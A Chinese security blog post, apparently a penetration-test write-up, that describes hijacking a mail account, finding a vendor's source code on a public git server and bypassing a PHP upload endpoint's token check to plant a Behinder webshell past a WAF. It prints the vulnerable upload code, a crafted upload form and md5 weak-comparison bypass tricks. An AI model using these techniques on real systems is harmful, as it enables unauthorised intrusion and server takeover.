与某电的爱恨情仇

admin 2022年6月14日08:23:19评论18 views字数 4522阅读15分4秒阅读模式

攻击过程

信息收集,经典coremail邮箱,爆破+运气好,猜到了密保重置了某个倒霉蛋的密码。但是由于目标把vpn密码全部改了而且都是随机化,暂且放弃了。
开始挖洞,在连挖两天后,外网基本没有什么洞,心里很绝望。在翻看这几天做的记录时,发现许多系统都是由一家外包公司做的,那没辙了,只能硬着头皮打供应商。
在打的过程,对比着发现确实是一套源码,同时也发现这个供应商很小,代码啥的感觉比较简陋。但是经历几个小时的突破,邮箱也没有爆出来一个,后台也没个口令,外网资产也没挖到什么重大的漏洞。

新的发现

逐渐崩溃,索性就在浏览器搜了一下对应的系统

与某电的爱恨情仇

wow,是他们自己搭的git,里面可能托管着系统源码!冲!

与某电的爱恨情仇

看着源码,流下了感动的泪水,19年提交的,但是最近更新是在10个月前,应该也差不多。
于是我又当起了ctfer~hhhh

代码审计

时间紧,任务重,我们找可以直接getshell的,文件上传最熟悉,就找他,全局搜索文件上传的相关函数比如upload,move_uploaded_file,最终锁定目标。
给哥哥们上源码

<?php$key = 'is*************key';function array_multiksort(&$rows){    foreach ($rows as $key => $row) {        if (is_array($row)) {
array_multiksort($rows[$key]);
}
}

ksort($rows, SORT_STRING);
}$rs = array();$formvars = $_POST;$token = $formvars['token'];unset($formvars['token']);$hash_row = $formvars;
array_multiksort($hash_row, SORT_STRING);$hash_row['key'] = $key;$tmp_str = http_build_query($hash_row);//可以判断请求时间是否超过某个期限, 1分钟内if ((time() - $hash_row['rtime'] < 600) && $token == md5($tmp_str)) { if ($_FILES) { $filename = $_FILES['upfile']['name']; $tmpname = $_FILES['upfile']['tmp_name']; $full_name = isset($_REQUEST['full_name']) ? $_REQUEST['full_name'] : '/' . $filename; print($full_name); $file_path = './' . $full_name; $dir = dirname($file_path); if (!file_exists($dir)) {
mkdir(dirname($file_path), 0777, true);
} if (move_uploaded_file($tmpname, $file_path)) { $rs['status'] = 200; $rs['msg'] = 'success'; $path_row = pathinfo(sprintf('http://%s%s', $_SERVER['HTTP_HOST'], $_SERVER['REQUEST_URI'])); $url = sprintf('%s/image.php%s', $path_row['dirname'], $full_name); $rs['url'] = $url;
} else { $rs['status'] = 250; $rs['msg'] = 'failure1'; #print($file_path+'dasdadsa'+$tmpname);
}
} else { $rs['status'] = 250; $rs['msg'] = 'failure2';
}
} else { $rs['status'] = 250; $rs['msg'] = 'key错误 或者 超时';
}echo json_encode($rs);?>

简单的大概看一下,这个上传点并没有做身份校验,因为这个站当时在打的时候,发现许多功能点都需要admin,刚开始还比较担心。先大概看一下逻辑,26行前都是在做定义和赋值,上传的核心代码在27行后,并且在一个if条件语句中。只有符合了if的条件,才能往下走到上传的代码处。

绕过if

if ((time() - $hash_row['rtime'] < 600) && $token == md5($tmp_str))

if的条件判断也挺简单,是与的结构。
先看第一个条件

time() - $hash_row['rtime'] < 600

当前时间戳减去hash_row数组中rtime的值要小于600
这个好办,只要让rtime无限大,那么结果就可以无限小
再看第二个条件

$token == md5($tmp_str)

对token的值进行了验证,值必须等于$tmp_str变量的md5(注意这里是一个php中的弱类型比较,这个点会有用,等下说)
再看前面定义变量和赋值的那段代码

$key = 'is*************key';function array_multiksort(&$rows){    foreach ($rows as $key => $row) {        if (is_array($row)) {
array_multiksort($rows[$key]);
}
}

ksort($rows, SORT_STRING);
}$rs = array();$formvars = $_POST;$token = $formvars['token'];unset($formvars['token']);$hash_row = $formvars;
array_multiksort($hash_row, SORT_STRING);$hash_row['key'] = $key;$tmp_str = http_build_query($hash_row);

可以看的出来,$formvars接受我们post的传参,$token直接取了formvars数组中token的value值,也就是说token是我们可以控制的,同理hash_row也是我们post的传参,rtime取的是hash_row数组中rtime的value。rtime也是我们可以控制的。
那么现在问题就剩一个,token的值到底是什么
根据条件

$token == md5($tmp_str)

token的值要等于$tmp_str的md5,
根据代码$tmp_str = http_build_query($hash_row)我们可以知道
$tmp_str就是hash_row经过url编码后的值
只要构造出hash_row,就可以通过if判断
我们继续去上面看关于hash_row数组是如何赋值的
因为hash_row是我们的post传参

$formvars = $_POST;$token = $formvars['token'];unset($formvars['token']);$hash_row = $formvars;
array_multiksort($hash_row, SORT_STRING);$hash_row['key'] = $key;

根据上面这段代码,因为在向hash_row赋值前,通过unset($formvars[‘token’])卸载了$formvars中token的键值
所以hash_row数据所需要的键值,就只有下面规定的key,还有我们要绕过if判断的第一个条件所需的rtime。key的值是固定的,源码中已经给出,(这里脱敏处理,我把key改了)其实分析到这里,整个if判断最关键的就是这个key,所以我严重怀疑这是运维留下的后门。(array_multiksort这个函数就是遍历一遍数组然后赋值,这里其实都不要看,因为都是代码写好的,参数可控的情况下,我们本地搭环境然后调试,让系统把参数给我们打印就来就好)
分析完了那么我们一步一步来把值构造出来吧
掏出我的MAMP-pro本地把环境起来

与某电的爱恨情仇

先构造rtime(我重新写了一个if判断,这样可以直观的看出来值是否符合要求,同时我们把每一次传参数的值也打印出来,这个调试起来也方便)

与某电的爱恨情仇


我们给rtime赋值趋于无限大

与某电的爱恨情仇


没有问题,通过了判断
下面继续构造token,我们直接将key赋值之后,将他的md5打印出来,然后再写一个if判断,来判断我们的token是否正确

与某电的爱恨情仇


token的值拿到了,直接冲

与某电的爱恨情仇

与某电的爱恨情仇

nice,下面就可以构造上传包了
我们把刚才的key,rtime还有token直接写好在前端,跟上传包一起发送


<html><head><meta charset="utf-8"><title>upload</title></head><body><form action="http://127.0.0.1/xxx/xxx/xxxx.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="upfile" id="file"><br>
<input name="token" value="">
<input name="key" value="">
<input name="rtime" value="999999999999999999999999">
<input type="submit" value="提交"></form></body></html>

与某电的爱恨情仇

本地我们测试一下(我为了方便,直接在代码里面改了一下,把路径打印了出来)

与某电的爱恨情仇

与某电的爱恨情仇

与某电的爱恨情仇

成功了,路径就在根目录,wow


快乐上传

目标站点还存在比较强的流量waf,分段传输冰蝎绕过,随着手指在键盘上的一顿抽搐,一切变的索然无味

与某电的爱恨情仇

拿下!

(写的不太好,哥哥们轻喷)


拓展:key改了怎么办?

这次项目运气比较好,key没有改,之间getshell,万一改了怎么办呢?

$token == md5($tmp_str)

刚才提到了这里用的是php的弱类型比较:==
在php中弱类型比较是不判断变量类型的
在php中强比较是这样的:===
详细说明一下:

==:先将字符串类型转化成相同,再比较===:先判断两种字符串的类型是否相等,再比较字符串和数字比较使用==时,字符串会先转换为数字类型再比较

这里还要再提一下md5()的两个小点,(这个案例完全符合ctf题目啊hhhh)

1.部分字符串由于使用 md5 加密后会变成 0e 开头的字符串,然后使用 == 判断时就容易绕过
2.md5() 中需要的是一个 string 类型的参数。但是当你传递一个 array 时,md5() 不会报错,只是会无法正确地求出 array 的 md5 值,这样就会导致任意 2array 的 md5 值都会相等。

这里就可以有另外一个利用思路
我们可以让token的值为0e开头的值,然后进行碰撞(这种问题在ctf中很常见,也是我第一次在实战中遇到,突然感慨万千)
如果key改了,那么我们可以考虑这样去碰撞一下,说不定就可以绕过判断


原文始发于微信公众号(雁行安全团队):与某电的爱恨情仇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月14日08:23:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   与某电的爱恨情仇https://cn-sec.com/archives/1112589.html

发表评论

匿名网友 填写信息